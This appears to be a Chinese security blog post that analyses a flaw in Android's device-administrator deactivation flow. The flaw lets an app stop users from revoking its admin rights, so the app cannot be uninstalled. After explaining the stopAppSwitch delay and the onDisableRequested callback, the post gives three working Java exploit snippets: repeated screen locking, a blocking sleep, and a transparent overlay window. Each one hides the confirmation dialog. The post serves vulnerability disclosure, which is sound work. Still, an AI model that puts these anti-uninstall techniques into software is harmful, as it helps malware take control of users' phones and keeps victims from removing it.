天天看點

Android裝置管理器漏洞2--阻止使用者取消激活裝置管理器

   2013年6月,俄羅斯安全廠商卡巴斯基發現了史上最強手機木馬-Obad.A,該木馬利用了一個未知的Android裝置管理器漏洞(ANDROID-9067882),已激活裝置管理器權限的手機木馬利用該漏洞,可以在設定程式的裝置管理器清單中隐藏,這樣使用者就無法通過正常途徑取消該手機木馬的裝置管理器權限,進而達到無法解除安裝的目的。Android4.2版本以上系統已經修複該漏洞。(漏洞詳情:http://blog.csdn.net/androidsecurity/article/details/9124747)

   日前,百度安全實驗室發現手機木馬開始利用另一新的Android裝置管理器漏洞,新的裝置管理器漏洞是由于Android系統在取消激活裝置管理器流程的設計缺陷引起的,惡意軟體利用該設計缺陷,可以阻止使用者取消激活裝置管理器,進而達到反解除安裝的目的。該漏洞存在于Android系統所有版本。

一、取消激活裝置管理器源代碼分析

      Android取消激活裝置管理器流程源代碼:

Android裝置管理器漏洞2--阻止使用者取消激活裝置管理器

      Android取消激活裝置管理器基本流程圖:

Android裝置管理器漏洞2--阻止使用者取消激活裝置管理器

        1、ActivityManagerNative.getDefault().stopAppSwitch()方法功能

             為什麼第一步就調用該函數呢?通過源代碼注釋可以看出調用該函數目的是:禁止其它程式在使用者取消裝置管理器操作過程彈出Dialog,影響使用者操作。

        stopAppSwitch()源代碼如下圖所示:

Android裝置管理器漏洞2--阻止使用者取消激活裝置管理器

         通過代碼我們發現該方法的具體實作是:

          規定在APP_SWITCH_DELAY_TIME時間内禁止進行Activity切換。該方法調用後,所有應用的Activity調用請求會被系統放到挂起的請求隊列中。被挂起的Activity調用請求會在APP_SWITCH_DELAY_TIME時間後才會被系統執行。

Android裝置管理器漏洞2--阻止使用者取消激活裝置管理器

        通過調用stopAppSwitch()方法,系統保證在進入取消裝置管理器界面後,5秒内不會進行Activity的切換。

二、漏洞原理分析

      通過以上流程我們發現,在第8步裝置管理器調用

      DevicePolicyManagerService.removeActiveAdmin()取消激活裝置管理器之前,DevicePolicyManagerService會調用應用的onDisableRequested方法擷取取消激活的警示資訊。如果onDisableRequested函數傳回内容為空的,第8步就會自動執行;如果onDisableRequested函數傳回内容不能為空,會彈出Dialog顯示傳回的警示資訊,提示使用者是否取消激活。使用者點選确認後才會執行第8步。

     如何阻止流程執行到第8步呢?

     onDisableRequested是唯一在流程第8步之前被調用的函數。為了阻止流程走到第8步,onDisableRequested函數滿足以下條件即可:

    1、傳回内容不能為空,這樣才可以使裝置管理器彈出取消激活裝置管理器警示資訊  Dialog。

    2、通過Activity切換的方式使裝置管理器彈出的警示資訊Dialog消失。使使用者無法操作Dialog。

     如果做到以上兩點,程式即可成功阻止使用者取消激活裝置管理器操作。

三、漏洞利用方法

      以下提出三種可以利用該流程設計缺陷,成功阻止使用者取消裝置管理器的方法。

     1、通過鎖屏方式

[java]  view plain copy

  1. @Override  
  2. public CharSequence onDisableRequested(Context context, Intent intent) {  
  3.     // TODO Auto-generated method stub  
  4.         Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");  
  5.         intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
  6.     context.startActivity(intent1);  
  7.        final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);  
  8.        dpm.lockNow();  
  9.        new Thread(new Runnable() {            
  10.         @Override  
  11.         public void run() {  
  12.             int i = 0;  
  13.             while(i<70){  
  14.                 dpm.lockNow();  
  15.                 try {  
  16.                     Thread.sleep(100);  
  17.                     i++;  
  18.                 } catch (InterruptedException e) {  
  19.                     e.printStackTrace();  
  20.                 }  
  21.             }  
  22.         }  
  23.     }).start();  
  24.     return "This is a onDisableRequested response message";  
  25. }  

      2、通過阻塞函數傳回方式

[java]  view plain copy

  1. @Override  
  2. public CharSequence onDisableRequested(Context context, Intent intent) {  
  3.     // TODO Auto-generated method stub  
  4.         Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");  
  5.         intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
  6.     context.startActivity(intent1);  
  7.        try {  
  8.         Thread.sleep(7000);  
  9.     } catch (InterruptedException e) {  
  10.         e.printStackTrace();  
  11.     }  
  12.     return "This is a onDisableRequested response message";  
  13. }  

    3、通過透明視窗劫持方式

[java]  view plain copy

  1. @Override  
  2. public CharSequence onDisableRequested(Context context, Intent intent) {  
  3.     // TODO Auto-generated method stub  
  4.         Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");  
  5.         intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
  6.     context.startActivity(intent1);  
  7.     WindowManager.LayoutParams wmParams;  
  8.     final WindowManager mWindowManager;  
  9.     wmParams = new WindowManager.LayoutParams();  
  10.     mWindowManager = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);  
  11.     wmParams.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;   
  12.        wmParams.format = PixelFormat.RGBX_8888;   
  13.        wmParams.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;        
  14.        wmParams.gravity = Gravity.LEFT | Gravity.TOP;  
  15.        wmParams.alpha = 0;  
  16.        wmParams.x = 0;  
  17.        wmParams.y = 0;  
  18.        wmParams.width = WindowManager.LayoutParams.MATCH_PARENT;  
  19.        wmParams.height = WindowManager.LayoutParams.MATCH_PARENT;  
  20.        final View contentView = new Button(context);  
  21.        mWindowManager.addView(contentView, wmParams);  
  22.        new Thread(new Runnable() {            
  23.         @Override  
  24.         public void run() {  
  25.             try {  
  26.                 Thread.sleep(7000);  
  27.             } catch (InterruptedException e) {  
  28.                 // TODO Auto-generated catch block  
  29.                 e.printStackTrace();  
  30.             }  
  31.             mWindowManager.removeView(contentView);  
  32.         }  
  33.     }).start();  
  34.     return "This is a onDisableRequested response message";  
  35. }  

   以上方法都會在onDisableRequested中,采用不同方式使使用者在5秒時間内無法操作界面。因為5秒後Activity切換請求才會被系統執行。

繼續閱讀